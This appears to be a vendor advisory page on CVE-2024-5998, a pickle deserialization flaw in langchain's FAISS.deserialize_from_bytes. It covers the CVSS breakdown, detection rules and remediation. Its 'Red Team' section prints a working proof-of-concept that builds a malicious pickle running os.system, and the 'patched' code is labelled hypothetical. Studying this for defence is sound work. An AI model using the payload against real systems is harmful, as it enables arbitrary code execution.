CVE-2024-5998
Executive Summary
CVE-2024-5998 is a critical deserialization vulnerability in the FAISS.deserialize_from_bytes function of the langchain-ai/langchain Python library. The flaw allows an attacker to supply a malicious pickle payload that, when deserialized, can execute arbitrary operating system commands via os.system. This vulnerability affects the latest version of the product, and no official patch has been released at the time of analysis. The CVSS score is 5.2 (Medium), but the potential impact is high due to the ability to achieve remote code execution in environments where untrusted data is processed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the PyPI package langchain. Organizations using langchain in their AI/LLM pipelines must immediately assess their exposure. The attack vector is through the FAISS.deserialize_from_bytes function, which is commonly used to load vector stores from serialized data. If an attacker can inject a malicious pickle blob into this function, they can achieve arbitrary code execution. The supply chain risk is elevated because langchain is a widely used framework, and many downstream applications may implicitly trust serialized data from external sources.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The exploit does not cross trust boundaries.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited data modification possible.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium (5.2) – However, the ability to execute arbitrary commands makes this a high-priority issue in practice.
Deep Dive & Mechanics
The vulnerability resides in the FAISS.deserialize_from_bytes function, which uses Python's pickle.loads() to deserialize data. Pickle is inherently unsafe when used with untrusted data because it can execute arbitrary Python code during deserialization. An attacker can craft a pickle payload that, when loaded, executes os.system() with a command of their choice.
Attack Flow:
- Attacker creates a malicious pickle payload that contains a
__reduce__method returning(os.system, ("command",)). - The payload is sent to the target application via any input vector that eventually calls
FAISS.deserialize_from_bytes. - The application calls
pickle.loads()on the attacker-controlled data. - The pickle deserialization process executes the
__reduce__method, running the attacker's command.
Root Cause: The use of pickle.loads() on untrusted data without any sanitization or validation.
Vulnerable vs. Patched Code
Vulnerable Code (langchain):
# In FAISS vector store implementation
@classmethod
def deserialize_from_bytes(cls, serialized: bytes) -> "FAISS":
# Directly deserializes untrusted pickle data
return pickle.loads(serialized)
Patched Code (Hypothetical):
# Secure alternative using JSON or safe serialization
import json
@classmethod
def deserialize_from_bytes(cls, serialized: bytes) -> "FAISS":
# Use a safe serialization format
data = json.loads(serialized)
# Reconstruct FAISS object from data
...
Note: No official patch is available. The recommended mitigation is to avoid using FAISS.deserialize_from_bytes with untrusted data or to implement a custom safe deserialization wrapper.
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('echo "PWNED" > /tmp/pwned.txt',))
# Generate malicious pickle payload
payload = pickle.dumps(Exploit())
# Save to file for delivery
with open('malicious.bin', 'wb') as f:
f.write(payload)
print("Malicious pickle payload generated: malicious.bin")
Usage:
- Generate the payload using the above script.
- Deliver the
malicious.binfile to the target application via any input vector that callsFAISS.deserialize_from_bytes. - The command
echo "PWNED" > /tmp/pwned.txtwill be executed on the target system.
Lab Setup:
- Target: Python 3.x with
langchaininstalled. - Attack: Send the malicious pickle blob to the vulnerable endpoint.
Blue Team
Detection:
- Monitor for calls to
pickle.loads()in Python applications, especially inlangchaincontexts. - Use runtime security tools to detect anomalous
os.systemorsubprocesscalls. - Implement network segmentation to limit exposure of vector store endpoints.
Honeypot:
- Deploy a fake
FAISS.deserialize_from_bytesendpoint that logs all incoming data and alerts on pickle payloads.
Indicators of Compromise (IOCs)
- Network: Unusual pickle binary data in HTTP requests or message queues.
- File System: Presence of
malicious.binor similar files. - Process: Unexpected
os.systemorsubprocesscalls from Python processes. - Logs: Entries showing
pickle.loadsbeing called with large or suspicious byte strings.
Detection Engineering
YARA Rule
rule CVE_2024_5998_Pickle_Exploit {
meta:
description = "Detects malicious pickle payloads targeting CVE-2024-5998"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-5998"
strings:
$pickle_magic = { 80 04 95 } // Python pickle protocol 4 magic bytes
$os_system = "os.system" ascii wide
$reduce = "__reduce__" ascii wide
condition:
$pickle_magic and ($os_system or $reduce)
}
Sigma Rule
title: CVE-2024-5998 Pickle Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-5998 via pickle deserialization
author: Valters IT
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\python.exe'
CommandLine|contains: 'pickle.loads'
condition: selection
falsepositives:
- Legitimate use of pickle.loads in trusted environments
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2024-5998 Pickle Deserialization Attempt"; flow:to_server; content:"|80 04 95|"; depth:3; content:"os.system"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Do not use
FAISS.deserialize_from_byteswith untrusted data. If possible, switch to a safe serialization format like JSON or Protocol Buffers. - Short-term: Implement a wrapper that validates the pickle payload before deserialization (e.g., using
pickle.Unpicklerwith a restrictedfind_classmethod). - Long-term: Wait for an official patch from
langchain-ai. Monitor the GitHub repository for updates. - Network: Restrict access to endpoints that use
FAISS.deserialize_from_bytesto trusted IPs only. - Monitoring: Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.
Valters IT – Securing the digital frontier.